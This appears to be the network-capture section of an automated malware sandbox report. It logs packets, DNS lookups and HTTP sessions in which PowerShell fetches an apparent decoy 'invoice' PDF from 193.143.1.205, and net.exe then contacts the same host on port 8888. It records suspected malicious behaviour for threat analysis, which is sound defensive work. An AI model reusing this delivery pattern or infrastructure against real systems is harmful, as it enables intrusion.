Jan 10, 2025 22:48:27.008337975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.008374929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.008394003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.008399963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.008405924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.008414030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.008419991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.008433104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.008447886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.008482933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.008514881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.008569956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.008579016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.008640051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.014448881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.052417994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.052429914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.052443027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.052498102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.052536011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.052541971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.052545071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.052558899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.052563906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.052580118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.052588940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.052618980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.052685976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.052691936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.052704096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.052710056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.052731991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.052762985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.052870035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.052876949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.052889109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.052936077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.053033113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.053039074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.053056002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.053064108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.053076029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.053081036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.053154945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.053162098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.053167105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.053173065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.053175926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.053222895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.053530931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.053536892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.053549051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.053555012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.053561926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.053569078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.053584099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.053627014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.053678989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.053685904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.053698063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.053703070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.053710938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.053723097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.053735018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.053755999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.054163933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.054171085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.054187059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.054192066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.054203987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.054209948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.054214954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.054222107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.054227114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.054229975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.054238081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.054244041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.054250956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.054255962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.054261923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.054275036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.054371119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.054750919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.054759026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.054779053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.054820061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.054903030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.054910898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.054923058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.054929972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.054960966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.054974079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.055114031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.055121899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.055134058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.055140018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.055145979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.055152893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.055166960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.055170059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.055174112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.055181980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.055186987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.055210114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.055223942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.055231094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.055233002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.055236101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.055268049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.055763006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.055771112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.055778027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.055782080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.055809975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.055841923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.055912018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.055919886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.055926085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.055932045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.055944920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.055951118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.055960894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.055963993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.055968046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.055974007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.055986881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.055994987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.055999994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.056025982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.056050062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.056408882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.056416988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.056462049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.056562901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.056576014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.056581020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.056649923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.084883928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.084908962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.084922075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.084975004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.084980965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.084989071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.085047007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.085072994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.085079908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.085122108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.085243940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.085294962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.085308075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.085340023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.085488081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.085500002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.085508108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.085513115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.085517883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.085541964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.085563898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.085575104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.095025063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.095032930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.095053911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.095060110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.095073938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.095122099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.095127106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.095132113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.095172882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.095196009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.095200062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.095207930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.095220089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.095230103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.095249891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.095266104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.095355034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.095361948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.095375061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.095379114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.095494986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.137954950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.137965918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.137981892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.137989044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.138003111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.138010979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.138052940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.138060093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.138098001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.138125896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.138154030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.138161898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.138211966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.138319016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.138325930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.138339043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.138345003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.138353109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.138362885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.138369083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.138392925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.138464928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:27.138504028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.439507961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:27.684295893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:28.179308891 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:28.184173107 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:28.184293985 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:28.185022116 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:28.189769983 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:28.951683044 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:28.993829966 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:29.842288017 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:48:41.171865940 CET	55926	53	192.168.2.4	1.1.1.1
Jan 10, 2025 22:48:57.381050110 CET	54335	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 22:48:41.171865940 CET	192.168.2.4	1.1.1.1	0xad51	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:48:57.381050110 CET	192.168.2.4	1.1.1.1	0x755f	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 22:48:41.178953886 CET	1.1.1.1	192.168.2.4	0xad51	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:48:57.388324976 CET	1.1.1.1	192.168.2.4	0x755f	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	5472	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:48:25.567548037 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 22:48:26.371860981 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:48:26 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 [TRUNCATED] Data Ascii: f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponent [TRUNCATED]
Jan 10, 2025 22:48:26.371891975 CET	224	IN	Data Raw: 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 20 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 22:48:26.371941090 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 22:48:26.371997118 CET	1236	IN	Data Raw: 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 f6 Data Ascii: o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 10, 2025 22:48:26.372010946 CET	211	IN	Data Raw: ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeS
Jan 10, 2025 22:48:26.372028112 CET	1236	IN	Data Raw: 32 30 30 30 0d 0a fd f9 d9 43 da 94 cb b1 a1 3b 69 ea 9b 13 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce Data Ascii: 2000C;i4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 10, 2025 22:48:26.372061968 CET	1236	IN	Data Raw: 6d 0c bd 7c bc 0e 63 e8 23 31 74 2a 53 df 9c 00 00 00 a6 c1 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf Data Ascii: m\|c#1t*SKvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs
Jan 10, 2025 22:48:26.372078896 CET	1236	IN	Data Raw: 81 69 5f cd 4a ab bc 8e e5 d7 6e 95 df b4 70 a7 1d 7d 51 c2 df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 Data Ascii: i_Jnp}QqZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12C
Jan 10, 2025 22:48:26.372097969 CET	1236	IN	Data Raw: 46 3f 47 4c 53 2b 3c 5d f2 6a ea a7 2b fc 74 90 cf 08 2d f7 c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 Data Ascii: F?GLS+<]j+t-9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=t
Jan 10, 2025 22:48:26.372117996 CET	896	IN	Data Raw: 57 b5 50 35 5b 74 8a 30 57 69 cd b5 c9 e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 Data Ascii: WP5[t0Wi+3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#
Jan 10, 2025 22:48:26.377348900 CET	1236	IN	Data Raw: 7e 83 f9 1f 09 30 64 38 ba 30 16 5d ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 Data Ascii: ~0d80]f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	2756	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
